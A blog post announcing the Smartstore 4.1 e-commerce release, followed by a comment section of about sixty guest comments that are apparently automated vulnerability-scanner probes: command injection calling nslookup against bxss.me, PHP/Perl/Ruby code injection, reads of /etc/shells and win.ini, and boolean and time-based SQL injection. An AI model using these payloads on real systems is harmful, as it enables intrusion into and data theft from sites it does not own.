Monday, November 9, 2020

Smartstore 4.1 is available

Highlights

  • Web API: now supports the widely extended version 4 of OData. New endpoints for uploading and managing media files have been added to the API.
  • (NEW) Delivery dates: product info now shows estimated delivery date (exact date, range, Not before, Not later than). Merchant can enter optional Min/Max delivery days and also specify business hours.
  • (DEV) VS Extension to create plugins. Helps developing plugins for Smartstore by creating the basic structure of a Smartstore plugin with all the required files.
  • OCI provides connection to e-procurement systems via industry standard OCI (commercial plugin)
  • cXmlPunchout provides connection to e-procurement systems via industry standard cXmlPunchout (commercial plugin)
  • Video support in product media gallery.
  • Media Gallery displays a multitude of media files in various styles as Page Builder block.
  • (PERF) ~10% faster page rendering speed thanks to better eager loading & caching strategies

Breaking changes

  • The Glimpse plugin is obsolete and has been removed! Does not work with .NET 4.7+ and hasn't been maintained for 7 years now.
  • (DEV) Web API: porting to OData v4 has minor incompatibilities with v3. See this blog post for details.
  • Blogs\News: the direct language association has been removed. Localized content is now entered using the localization editor.
    Merging the contents of different languages must be done manually (migration is not possible).
  • PostFinance: plugin has been extended and renamed. Users of this payment method must activate PostFinance e-Commerce in backend and enter the API access data again.

New Features

  • Theming: responsive font-sizing and spacing
  • Page Builder
    • Added gallery block to display a multitude of media files in various styles.
    • Added block to display content slider.
    • Added block to display news.
    • Added option for title and intro inline background color.
  • Graying out unavailable attribute combinations.
  • Added 'Orders' tab to the product editor to display all orders in which the product has been purchased.
  • Added a setting to open a product directly if the search term matches a SKU, MPN or GTIN.
  • Added configurability for password strength.
  • Determine initial working currency based on IP/country.
  • Added picture and color options to checkout attribute values.
  • Added setting to restrict order amount in general and for customer roles in specific.
  • Added minimum and maximum days to delivery times to show a specific delivery date.
  • Added product attributes selected by customer to RFQ and ask question message.
  • (DEV) Full localization support for properties of setting classes.
  • Added paging and sorting for bestsellers report.
  • Added paging and sorting for top customers report.
  • Added meta properties for social media sharing to category, manufacturer, news and blog pages.
  • Added option for SameSite mode property of cookies
  • Add 'apple-touch-icon' meta with all common sizes
  • Allow special title and meta tags for home

Improvements

  • (PERF) 10% faster page rendering speed thanks to better eager loading & caching strategies
  • Added grouping for cart rules.
  • Added menu to set order and payment status for orders checked in backend grid.
  • Back button closes offcanvas menu/cart.
  • MegaSearch: product order is applied to all categories in which a product appears.
  • When editing a product, the stock quantity is only updated if it has not changed since the page was loaded.
  • Added options for special title and meta tags on home page.
  • CMS Menu Builder: added new builder types for blogs and news.
  • Search Log: added option to hide top search terms in instant search.
  • CookieManager: Admin area for user defined cookie information
  • CookieManager: More compact frontend layout for mobile devices
  • Seo optimization for News, Blog & Boards
  • (Admin) More filter options for news & blog items
  • News: Made CreatedOn configurable
  • Hidden news items should be rendered opaque if current user is in admin role.
  • Form registration clears values when switching between site languages
  • Render breadcrumb for pages that are part of the main menu.
  • Media Manager: implement direct file "replace" support.
  • Display 'PanGV' in OffCanvas cart
  • Preconnect all external resources and load them async
  • Dropzone: upload the folder structure when a folder is dropped.
  • Page Builder: Added 'Loading behaviour' option to picture block
  • Improved schema for news, blogs and products

Bugfixes

  • Media Manager
    • The file date should be displayed in local time and not in UTC.
  • Page Builder
    • Reveal effect on story block conflicted with nested block reveal effects.
    • Fixed RTL display issues with dropdown menus and slider.
  • Export
    • An empty export file was created at the end of an export when using the batch-size option.
    • The offset option skipped one record too much.
    • The XML export of CountryOfOrigin caused an error.
  • Message template attachments were not attached to the email.
  • Shipment templates showed all products of the order instead of only those of the shipment.
  • EasyCredit: fixed "Could not convert setting 'EasyCreditSettings.LastPurchaseLimitUpdatedOn' to type 'DateTime'".
  • Attributes were not pre-selected for all associated products of a grouped product.
  • Customer tab on customer role edit page showed deleted customers.
  • Product with call for price did show as free in product list and grid view.
  • Order item editing: order total was not updated when both unit and item price were changed.
  • RSS feeds: relative URLs of objects embedded in HTML are replaced by absolute URLs.
  • Rules: automatic category assignments of products were not taken into account in a search index updates.
  • Campaign preview did not work if there are no newsletter subscribers.
  • Many alt & title attribute fixes for pictures
  • Escape toxic chars in meta attributes
  • Google Analytics: Fixed script error in conjunction with CookieManager
  • RTL: searchbar button wasn't aligned correctly
  • RTL: Fixed Page Builder slider positioning, dropdown and other alignments
  • OffCancas compare: hide horizontal scrollbar
Leave your comment

Comments (61)

G
one year ago | Guest
Mr.

echo coydvc$()\ wkazqo\nz^xyu||a #' &echo coydvc$()\ wkazqo\nz^xyu||a #|" &echo coydvc$()\ wkazqo\nz^xyu||a #

G
one year ago | Guest
Mr.

response.write(9550257*9851937)

G
one year ago | Guest
Mr.

&echo sossxk$()\ weyqcc\nz^xyu||a #' &echo sossxk$()\ weyqcc\nz^xyu||a #|" &echo sossxk$()\ weyqcc\nz^xyu||a #

G
one year ago | Guest
Mr.

'+response.write(9550257*9851937)+'

G
one year ago | Guest
Mr.

|echo walibs$()\ whjeul\nz^xyu||a #' |echo walibs$()\ whjeul\nz^xyu||a #|" |echo walibs$()\ whjeul\nz^xyu||a #

G
one year ago | Guest
Mr.

"+response.write(9550257*9851937)+"

G
one year ago | Guest
Mr.

(nslookup hitjlxcwhrwprc5b60.bxss.me||perl -e "gethostbyname('hitjlxcwhrwprc5b60.bxss.me')")

G
one year ago | Guest
Mr.

$(nslookup hitgeeoeersjd54990.bxss.me||perl -e "gethostbyname('hitgeeoeersjd54990.bxss.me')")

G
one year ago | Guest
Mr.

&(nslookup hitqajiighzws7fb69.bxss.me||perl -e "gethostbyname('hitqajiighzws7fb69.bxss.me')")&'\"`0&(nslookup hitqajiighzws7fb69.bxss.me||perl -e "gethostbyname('hitqajiighzws7fb69.bxss.me')")&`'

G
one year ago | Guest
Mr.

|(nslookup hitalciznfdowf0aa6.bxss.me||perl -e "gethostbyname('hitalciznfdowf0aa6.bxss.me')")

G
one year ago | Guest
Mr.

`(nslookup hityvmijaxqqi26357.bxss.me||perl -e "gethostbyname('hityvmijaxqqi26357.bxss.me')")`

G
one year ago | Guest
Mr.

;(nslookup hitcfqqtjpyml38b21.bxss.me||perl -e "gethostbyname('hitcfqqtjpyml38b21.bxss.me')")|(nslookup hitcfqqtjpyml38b21.bxss.me||perl -e "gethostbyname('hitcfqqtjpyml38b21.bxss.me')")&(nslookup hitcfqqtjpyml38b21.bxss.me||perl -e "gethostbyname('hitcfqqtjpyml38b21.bxss.me')")

G
one year ago | Guest
Mr.

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

G
one year ago | Guest
Mr.

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

G
one year ago | Guest
Mr.

Http://bxss.me/t/fit.txt

G
one year ago | Guest
Mr.

http://bxss.me/t/fit.txt?.jpg

G
one year ago | Guest
Mr.

/etc/shells

G
one year ago | Guest
Mr.

c:/windows/win.ini

G
one year ago | Guest
Mr.

bxss.me

G
one year ago | Guest
Mr.

'.gethostbyname(lc('hitlo'.'yjlfmpth837a8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(83).chr(109).chr(70).'

G
one year ago | Guest
Mr.

".gethostbyname(lc("hitsb"."uejjakiq249c2.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(71).chr(99).chr(82)."

G
one year ago | Guest
Mr.

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

G
one year ago | Guest
Mr.

';print(md5(31337));$a='

G
one year ago | Guest
Mr.

";print(md5(31337));$a="

G
one year ago | Guest
Mr.

${@print(md5(31337))}

G
one year ago | Guest
Mr.

${@print(md5(31337))}\

G
one year ago | Guest
Mr.

'.print(md5(31337)).'

G
one year ago | Guest
Mr.

-1 OR 2+628-628-1=0+0+0+1 --

G
one year ago | Guest
Mr.

"+"A".concat(70-3).concat(22*4).concat(100).concat(89).concat(118).concat(65)+(require"socket"
Socket.gethostbyname("hiteq"+"rjynwlvab685d.bxss.me.")[3].to_s)+"

G
one year ago | Guest
Mr.

'+'A'.concat(70-3).concat(22*4).concat(113).concat(77).concat(103).concat(72)+(require'socket'
Socket.gethostbyname('hitzp'+'gcuaqxua16d2f.bxss.me.')[3].to_s)+'

G
one year ago | Guest
Mr.

-1 OR 3+628-628-1=0+0+0+1 --

G
one year ago | Guest
Mr.

-1 OR 2+608-608-1=0+0+0+1

G
one year ago | Guest
Mr.

-1 OR 3+608-608-1=0+0+0+1

G
one year ago | Guest
Mr.

-1' OR 2+155-155-1=0+0+0+1 --

G
one year ago | Guest
Mr.

-1' OR 3+155-155-1=0+0+0+1 --

G
one year ago | Guest
Mr.

-1' OR 2+369-369-1=0+0+0+1 or 'BaYbY3zo'='

G
one year ago | Guest
Mr.

-1' OR 3+369-369-1=0+0+0+1 or 'BaYbY3zo'='

G
one year ago | Guest
Mr.

-1" OR 2+893-893-1=0+0+0+1 --

G
one year ago | Guest
Mr.

-1" OR 3+893-893-1=0+0+0+1 --

G
one year ago | Guest
Mr.

if(now()=sysdate(),sleep(15),0)

G
one year ago | Guest
Mr.

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

G
one year ago | Guest
Mr.

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

G
one year ago | Guest
Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

G
one year ago | Guest
Mr.

-1; waitfor delay '0:0:15' --

G
one year ago | Guest
Mr.

-1); waitfor delay '0:0:15' --

G
one year ago | Guest
Mr.

-1)); waitfor delay '0:0:15' --

G
one year ago | Guest
Mr.

1 waitfor delay '0:0:15' --

G
one year ago | Guest
Mr.

YkfHWp7Y'; waitfor delay '0:0:15' --

G
one year ago | Guest
Mr.

Q1of5X9c'); waitfor delay '0:0:15' --

G
one year ago | Guest
Mr.

kRPooT0f')); waitfor delay '0:0:15' --

G
one year ago | Guest
Mr.

-5 OR 340=(SELECT 340 FROM PG_SLEEP(15))--

G
one year ago | Guest
Mr.

-5) OR 351=(SELECT 351 FROM PG_SLEEP(15))--

G
one year ago | Guest
Mr.

-1)) OR 297=(SELECT 297 FROM PG_SLEEP(15))--

G
one year ago | Guest
Mr.

KNOkQzL7' OR 571=(SELECT 571 FROM PG_SLEEP(15))--

G
one year ago | Guest
Mr.

aOHLxP5R') OR 499=(SELECT 499 FROM PG_SLEEP(15))--

G
one year ago | Guest
Mr.

B6CRPv0U')) OR 671=(SELECT 671 FROM PG_SLEEP(15))--

G
one year ago | Guest
Mr.


*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

G
one year ago | Guest
Mr.


'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

G
one year ago | Guest
Mr.

1'"

G
one year ago | Guest
Mr.

1����%2527%2522

G
one year ago | Guest
Mr.

@@TLNqT